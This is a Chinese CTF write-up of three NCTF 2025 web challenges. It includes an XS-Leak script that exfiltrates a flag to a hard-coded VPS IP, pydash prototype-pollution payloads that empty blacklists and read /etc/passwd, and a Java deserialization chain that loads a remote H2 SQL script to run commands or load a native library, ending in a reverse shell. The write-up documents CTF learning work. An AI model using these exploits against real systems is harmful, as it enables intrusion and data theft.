当时没怎么打,现在来复现一下,也是学到蛮多东西
internal_api 一个新学到的XSLeak侧信道攻击
参考文章:https://ek1ng.com/XSLeaks%20%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB.html,https://wiki.scuctf.com/ctfwiki/web/9.xss/xsleaks/
XSLeaks是什么
XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息 。
利用方式、利用条件等都和 csrf 较为相似。
说到探测用户敏感信息,是如何进行探测的?和csrf 相似在哪?
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=
,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。
虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。通过哪些侧信道判断呢?
这些侧信道的来源通常有以下几类:
浏览器的 api (e.g. Frame Counting and Timing Attacks )
浏览器的实现细节和bugs (e.g. Connection Pooling and typeMustMatch )
硬件bugs (e.g. Speculative Execution Attacks 4 )
通过测信道攻击可以获取到用户隐私信息。
给了两个提示
search成功状态码为200,失败为500
审计源码,flag在数据库,然后被设置为隐藏
然后只有bot可以去访问隐藏的flag
所以整体思路就是bot访问执行js代码的poc然后盲注flag带出来给攻击者
但是卧槽为什么啊,我不理解为什么exp会打不通
找到原因了,没看到object.data是火狐才有的了,他的bot是chrome的,得改成script,看gm7佬的文章有写,以前没细看麻了:https://gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.web%E6%BC%8F%E6%B4%9E/20.xs-leaks/?h=script#%E4%BB%80%E4%B9%88%E6%98%AFxs-leaks
最终exp
<script > const VPS_IP = 'http://43.139.107.213:1389' const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}" ; const escape = (c ) => { return c.replace (/[.*+?^=!:${}()|[\]\/\\]/g , '\\$&' ); } const oracle = async (url ) => { return new Promise ((resolve, reject ) => { let script = document .createElement ('script' ); script.src = url; script.onload = resolve; script.onerror = reject; document .head .appendChild (script); }); } const search = async (url ) => { try { await oracle (url) return true ; } catch (e) { return false ; } } (async () => { let flag = 'nctf{' ; let url = `http://127.0.0.1:8000/internal/search?s=${flag} ` while (flag.charAt (flag.length - 1 ) !== "}" ) { for ( let i of chars ) { if ( await (search (url + escape (i))) ) { url = url + escape (i) flag += i await fetch (`${VPS_IP} /?flag=${flag} ` , {mode : 'no-cors' }) break ; } else { console .log ('failed' ); } } } })(); </script >
ez_dash_revenge 又是pydash的原型链污染,尝试了半天绕不过黑名单,也找不到污染的点
源码如下:
''' Hints: Flag在环境变量中 ''' from typing import Optional import pydashimport bottle __forbidden_path__=['__annotations__' , '__call__' , '__class__' , '__closure__' , '__code__' , '__defaults__' , '__delattr__' , '__dict__' , '__dir__' , '__doc__' , '__eq__' , '__format__' , '__ge__' , '__get__' , '__getattribute__' , '__gt__' , '__hash__' , '__init__' , '__init_subclass__' , '__kwdefaults__' , '__le__' , '__lt__' , '__module__' , '__name__' , '__ne__' , '__new__' , '__qualname__' , '__reduce__' , '__reduce_ex__' , '__repr__' , '__setattr__' , '__sizeof__' , '__str__' , '__subclasshook__' , '__wrapped__' , "Optional" ,"render" ] __forbidden_name__=[ "bottle" ] __forbidden_name__.extend(dir (globals ()["__builtins__" ]))def setval (name:str , path:str , value:str )-> Optional [bool ]: if name.find("__" )>=0 : return False for word in __forbidden_name__: if name==word: return False for word in __forbidden_path__: if path.find(word)>=0 : return False obj=globals ()[name] try : pydash.set_(obj,path,value) except : return False return True @bottle.post('/setValue' ) def set_value (): name = bottle.request.query.get('name' ) path=bottle.request.json.get('path' ) if not isinstance (path,str ): return "no" if len (name)>6 or len (path)>32 : return "no" value=bottle.request.json.get('value' ) return "yes" if setval(name, path, value) else "no" @bottle.get('/render' ) def render_template (): path=bottle.request.query.get('path' ) if len (path)>10 : return "hacker" blacklist=["{" ,"}" ,"." ,"%" ,"<" ,">" ,"_" ] for c in path: if c in blacklist: return "hacker" return bottle.template(path) bottle.run(host='0.0.0.0' , port=8000 )
一开始的想法就是,因为name被限制为了6位,要不就从pydash,要不就从setval这两个地方入手,然乎path的globals和builtins是没有被ban的,然后想通过污染拿到bottle,然后去污染渲染的模板,但是找了半天还是找不到绕过的方法,直接globals根本拿不到bottle
后来看到别人的思路是先污染pydash回有漏洞的代码,此事在sanic也有记载,就是利用他的5.1.2版本的path解析漏洞来绕过
也就是我们需要污染RE_PATH_KEY_DELIM这个正则模式回5.1.2的模式,然后来绕过黑名单的过滤
emmm去看一下源码,有漏洞的版本的正则和新的正则没区别啊
# 5.1.2的正则 (?<!\\)(?:\\\\)*\.|(\[\d+\]) # 新的正则 (?<!\\)(?:\\\\)*\.|(\[-?\d+\])
新版的代码解析逻辑
然后我把正则拉出来测试了一下
from typing import Optional import pydashfrom pydash import *import re RE_PATH_KEY_DELIM = re.compile (r"(?<!\\)(?:\\\\)*\.|(\[-?\d+\])" ) value="__init__.__globals__" value1 = "__init__\\\\.__globals__" print (list (filter (None , RE_PATH_KEY_DELIM.split(value))))print (RE_PATH_KEY_DELIM.split(value))print (list (filter (None , RE_PATH_KEY_DELIM.split(value1))))print (RE_PATH_KEY_DELIM.split(value1))
这和sanic中的那个绕过没有任何改变啊
后来我干脆直接去试了一下到底直接改有什么问题,终于给我发现端倪了(原来他们指的漏洞是这个啊🥲)
from typing import Optional import pydashfrom pydash import *import re RE_PATH_KEY_DELIM = re.compile (r"(?<!\\)(?:\\\\)*\.|(\[-?\d+\])" ) __forbidden_path__ = "123" value="__globals__.__forbidden_path__" value1 = "__init__\\\\.__globals__" print (list (filter (None , RE_PATH_KEY_DELIM.split(value))))print (RE_PATH_KEY_DELIM.split(value))print (list (filter (None , RE_PATH_KEY_DELIM.split(value1))))print (RE_PATH_KEY_DELIM.split(value1))def setval (): pass class b : def __init__ (self ): pass instance = b() pydash.set_(setval,value,"aaa" )print (__forbidden_path__)
在我测试能否直接修改forbidden_path的时候,他给我报了一个错误
然后去翻源码
那么我只要把这里给污染了不就可以了成功修改所有黑名单了吗,我先换一下5.1.2的pydash看是不是没有做这个限制
果然,以前是没有做限制的,终于找到问题所在了,目标明确了这下
print (pydash.helpers.RESTRICTED_KEYS)
这里可以拿到黑名单
然后污染pydash
{ "path" : "helpers.RESTRICTED_KEYS" , "value" : "111" }
那现在就可以去从setval将黑名单全部覆盖了
{ "path" : "__globals__.__forbidden_name__" , "value" : "" }
{ "path" : "__globals__.__forbidden_path__" , "value" : "" }
全部污染成功,现在也可以直接去拿bottle了,那么接下来要污染bottle的什么地方呢,接下来去看一下他的template函数
有一个TEMPLATE_PATH
他的作用应该是用来规定模板的搜索路径,表示框架会依次在 当前目录 和 views/
子目录 下查找模板文件
那我们修改一下他的搜索路径为/proc/self即可,然后path传参的时候加上environ就可以获得环境变量了
这里注意一定要是列表的形式
先读一下/etc/passwd试试
{ "path" : "TEMPLATE_PATH" , "value" : [ "/etc" ] }
好的成功,那接下来去读environ就可以了
H2_revenge jdk17的h2的rce
网上很大一部分都是h2的1.x的版本,不知道有没有影响,这个h2是2.x的版本
就两个依赖,一个h2,一个springboot-web,默认其附带jackson
controller也非常简单,就是base64解码之后反序列化
然后还有一个题目自己写的MyDataSource
我觉得这个肯定是需要用到的
但是h2我不是很熟,没有调试过
首先这里是默认了有jackson依赖可以打jackson反序列化的,但是最终执行点的TemplatesImpl在JDK17下面是没有的了,需要替换,然后搜索到这样一篇文章:https://www.qwzf.top/2023/04/22/Java%2017%E5%8F%8A%E6%9B%B4%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E9%80%9A%E8%BF%87JDBC%E8%BF%9E%E6%8E%A5%E5%AE%9E%E7%8E%B0%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/
这就是在高版本下用来替换TemplatesImpl的一种方法
h2的测试代码
package org.clown.NCTF2025;import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;public class H2JDBC { public static void main (String[] args) { String url = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8008/poc.sql'" ; try { Connection con = DriverManager.getConnection(url); }catch (SQLException ex) { ex.printStackTrace(); } } }
poc.sql的代码
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec (cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$;CALL SHELLEXEC('calc' )
然后打算用BadAttributeValueExpException来触发toString,但是这里jdk17需要绕过module来反射修改变量,我尝试之后他还是进行了报错
package org.clown.NCTF2025;import com.fasterxml.jackson.databind.node.POJONode;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import sun.misc.Unsafe;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;public class exp { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ String url = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://192.168.121.164:8008/poc.sql'" ; MyDataSource myDataSource = new MyDataSource (url,"a" ,"a" ); POJONode jsonNodes = new POJONode (myDataSource); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass= (Unsafe) unSafeField.get(null ); Module baseModule=Object.class.getModule(); Class<?> currentClass= exp.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass,addr,baseModule); setValue(val,"val" ,jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(val); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); } }
没理解,找了一下文章:https://forum.butian.net/share/3748,这篇的写法也是一样的,不知道为什么会不行
后来进去源码看了一下,发现val被固定为String了
jdk8的时候是Object,所以不行
那只能换一个触发toString的链子了
这里找到EventListener这个链子,文章:http://www.bmth666.cn/2024/03/31/%E7%AC%AC%E4%BA%8C%E5%B1%8A-AliyunCTF-chain17%E5%A4%8D%E7%8E%B0/index.html
换成EventListener就可以了
本地能成的exp如下
package org.clown.NCTF2025;import com.fasterxml.jackson.databind.node.POJONode;import sun.misc.Unsafe;import javax.management.BadAttributeValueExpException;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.Vector;public class exp { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception{ String url = "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8008/poc.sql'" ; MyDataSource myDataSource = new MyDataSource (url,"a" ,"a" ); POJONode jsonNodes = new POJONode (myDataSource); Class<?> unSafe=Class.forName("sun.misc.Unsafe" ); Field unSafeField=unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass= (Unsafe) unSafeField.get(null ); Module baseModule=Object.class.getModule(); Class<?> currentClass= exp.class; long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(currentClass,addr,baseModule); EventListenerList eventListenerList = new EventListenerList (); UndoManager undoManager = new UndoManager (); Vector vector = (Vector) getFieldValue(undoManager, "edits" ); vector.add(jsonNodes); setValue(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (barr); objectOutputStream.writeObject(eventListenerList); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } }
然后本地起个环境去打一下试试
这里注意一下MyDataSource的包名要和题目一致,不然会Not Found
但是他失败了,来看一下docker的报错
这里来了一个没有javac项目,很奇怪,去看一下dockerfile
这里是只构建了一个jre的环境,问了一下ds
因为程序尝试执行javac所以导致了该问题,但是为什么会运行javac呢,这是因为H2在初始化执行的那个sql里的java代码是动态编译的,所以会执行javac,然后可以翻出题人的博客找到解决方案😊
https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/#%E5%8F%97%E9%99%90%E5%88%B6%E7%9A%84-jdbc-h2-rce
里面提到
H2 的 CREATE ALIAS 仍然可以调用位于 classpath 内的某个公共类的公共静态方法, 这点与 Oracle 类似
意思就是可以直接绑定一个静态方法然后调用,而不是内联java代码,这样就不需要动态编译,问了ds给出的示例如下
所以文章就给出了两种思路
这里我一开始想那直接命令执行不就可以了吗,java.lang.Runtime.getRuntime()也是静态方法,文章中提到,在 H2 中, Java 的 java.lang.Object 类型对应数据库的 JAVA_OBJECT
类型,总结就是JAVA_OBJECT对应的对象一定是要可序列化的
但是这两种思路的额外依赖我都没有,需要找找有没有其他静态写文件的静态方法
这里找到一个原生java.nio.file.Files
类的 write
方法
但是这里write方法需要传递File类型的参数,所以还要找一个静态方法返回File的,这里找到File.createTempFile()方法
接下来需要再找一个能够调用实例方法的静态方法,因为我们需要File的getAbsoluteFile方法来获取文件的绝对路径,这里是Spring环境,可以找到ReflectionUtils.findMethod方法来获取Method,找到ReflectionUtils.invokeMethod来调用Method
这里还提到了一个问题
因为虽然getAbsolutePath返回的是String,但是我们是通过ReflectionUtils.invokeMethod来调用的,他默认返回的就是Object,我这里就找到静态方法String.valueOf可以将其转换成String,然后就可以System.load了
最后在java代码中写出来的流程大致如下:
package org.clown.NCTF2025;import com.google.common.io.Files;import org.springframework.util.ReflectionUtils;import java.io.File;import java.io.IOException;import java.lang.reflect.Method;public class FileTest { public static void main (String[] args) throws IOException { File file = File.createTempFile("exp" , ".so" ); Files.write("test" .getBytes(), file); System.out.println(file.getAbsolutePath()); Method method = ReflectionUtils.findMethod(File.class, "getAbsoluteFile" , null ); Object pathObject = ReflectionUtils.invokeMethod(method, file); String path = String.valueOf(pathObject); System.load(path); } }
最后要注意编译出来的 .so 比较大, 转成 Hex 后字符串的长度过长, 直接写会报错, 需要分块写入。
然后这里问一下deepseek h2怎么将内容转换成字节,因为write方法只接受字节,然后吧问了之后发现,h2可以之接写文件,那我上面写的这么多直接就不需要了。。。。
这直接写就完事了。。。
但是上面分析了这么多不能浪费,硬着头皮也得写下去,现在再找一个能够用静态方法转换成字节数组的,这里在java中没有直接找到相关,然后这里转换了一下思路,采用base64解码的形式来进行转换,然后中间就会又经过好几个步骤
经过一番尝试,最终还是失败了,卡在了String转成字节数组的部分,放个失败的java代码😭
package org.clown.NCTF2025;import com.google.common.io.Files;import org.springframework.util.ReflectionUtils;import java.io.File;import java.io.IOException;import java.lang.reflect.Method;import java.util.Base64;public class FileTest { public static void main (String[] args) throws IOException { File file = File.createTempFile("exp" , ".so" ); Base64.Decoder decoder = Base64.getDecoder(); Method decode = ReflectionUtils.findMethod(Base64.Decoder.class, "decode" , String.class); Object soObject = ReflectionUtils.invokeMethod(decode, decoder, "<.so的base64形式>" ); String soString = String.valueOf(soObject); Byte so = Byte.valueOf(soString); Files.write("test" .getBytes(), file); System.out.println(file.getAbsolutePath()); Method method = ReflectionUtils.findMethod(File.class, "getAbsoluteFile" , null ); Object pathObject = ReflectionUtils.invokeMethod(method, file); String path = String.valueOf(pathObject); System.load(path); } }
那就还是直接用h2自带的函数来写文件吧
试了一下WRITE_FILE函数不对,再问一下deepseek
emmm其实这给的函数还是有问题,参数位置反了
那最终写成的sql如下:
CALL FILE_WRITE(X'' ,'/tmp/exp.so' );CREATE ALIAS SYS_LOAD FOR 'java.lang.System.load(java.lang.String)' ;CALL SYS_LOAD('/tmp/exp.so' );
可以用xxd -p命令生成纯十六进制字符,加上tr -d ‘\n’命令去除换行符
但是这里我前面的java exp又出问题了,运行之后他会报下面的错误
大致说的是未找到java.lang.Object的序列化器,emmm这就很奇怪,为什么会发生不能序列化的情况呢,原来的弹计算器的sql在本地也是能正常执行的,而且看日志前面已经成功执行了System.load了
难蚌后来发现这只能打一次,打完之后要重启靶机才行😓
最后反弹shell过来,改一下flag的权限即可